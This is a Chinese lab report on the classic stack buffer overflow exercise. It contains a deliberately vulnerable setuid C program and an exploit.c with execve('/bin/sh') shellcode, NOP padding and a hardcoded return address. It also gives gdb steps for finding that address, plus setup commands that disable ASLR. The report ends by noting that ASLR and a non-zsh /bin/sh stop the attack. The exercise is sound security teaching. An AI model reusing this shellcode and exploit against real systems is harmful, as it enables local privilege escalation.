溢出区溢出漏洞实验报告

溢出区溢出漏洞实验报告

实验准备:

输入命令安装一些用于编译32位C程序的软件包
$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

初始设置

  1. 关闭地址空间随机化功能。(此功能用于随机堆和栈的初始地址,使猜测准确的内存地址变得困难)

     sudo sysctl -w kernel.randomize_va_space=0
  2. 为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权,不能在shell中保持root权限,这个防护措施在/bin/bash中实现。设置zsh程序

     sudo su
     cd /bin
     ln -s zsh sh
     exit
  3. 输入“linux32”,进入32位linux环境,输入“/bin/bash”使用bash
    1296460-20181013160801069-571688979.png

漏洞程序

  1. /tmp目录下新建一个stack.c文件:
  2. 输入stack.c文件内容:

     #include <stdlib.h>
     #include <stdio.h>
     #include <string.h>
    
     int bof(char *str)
     {
     char buffer[12];
     strcpy(buffer, str);
     return 1;
     }       
    
     int main(int argc, char **argv)
     {
      char str[517];
      FILE *badfile;
    
     badfile = fopen("badfile", "r");
     fread(str, sizeof(char), 517, badfile);//读取一个名为“badfile”的文件。
     bof(str);//将文件内容装入到buffer中
    
     printf("Returned Properly\n");
     return 1;
     }
    • 编译该程序:

      $ sudo su
      $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
      $ chmod u+s stack
      $ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用-fno-stack-proteck关闭用来阻止缓存区溢出的栈保护机制,-z execstack用于允许执行栈

-g 参数是为了使编译后得到的可执行文档能用gdb调试

攻击程序

  • /tmp目录下新建一个exploit.c文件

      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
    
      char shellcode[] =
      "\x31\xc0" //xorl %eax,%eax
      "\x50"     //pushl %eax
      "\x68""//sh" //pushl $0x68732f2f
      "\x68""/bin"     //pushl $0x6e69622f
      "\x89\xe3" //movl %esp,%ebx
      "\x50"     //pushl %eax
      "\x53"     //pushl %ebx
      "\x89\xe1" //movl %esp,%ecx
      "\x99"     //cdq
      "\xb0\x0b" //movb $0x0b,%al
      "\xcd\x80" //int $0x80
      ;
    
      void main(int argc, char **argv)
      {
          char buffer[517];
          FILE *badfile;
          memset(&buffer, 0x90, 517);
    
          /* You need to fill the buffer with     appropriate contents here */
          strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc4\xd6\xff\xff");   //在之后的步骤里得知地址,在这里直接填入了
    
          strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
          badfile = fopen("./badfile", "w");
          fwrite(buffer, 517, 1, badfile);
          fclose(badfile);
      }
  • 如何得到覆盖地址

      $gdb stack
      $disass main

1296460-20181013162645951-1589214677.png

1296460-20181013162654246-1501754713.png

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd4c4(十六进制)

  • 最后编译exploit.c程序

$gcc -m32 -o exploit exploit.c

攻击结果

1296460-20181013163024283-1220182646.png

作业

  1. 输入$ sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。1296460-20181013163244088-1600463694.png

  2. 将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。1296460-20181013163346401-1029229745.png

总结:开启地址空间随机分配保护后,缓存区溢出攻击失效,将 /bin/sh 重新指向 /bin/bash(或/bin/dash)后也不能攻击,

posted on 2018-10-13 16:37 mushroom1111 阅读( ...) 评论( ...) 编辑 收藏

转载于:https://www.cnblogs.com/mushroomissmart/p/9783344.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值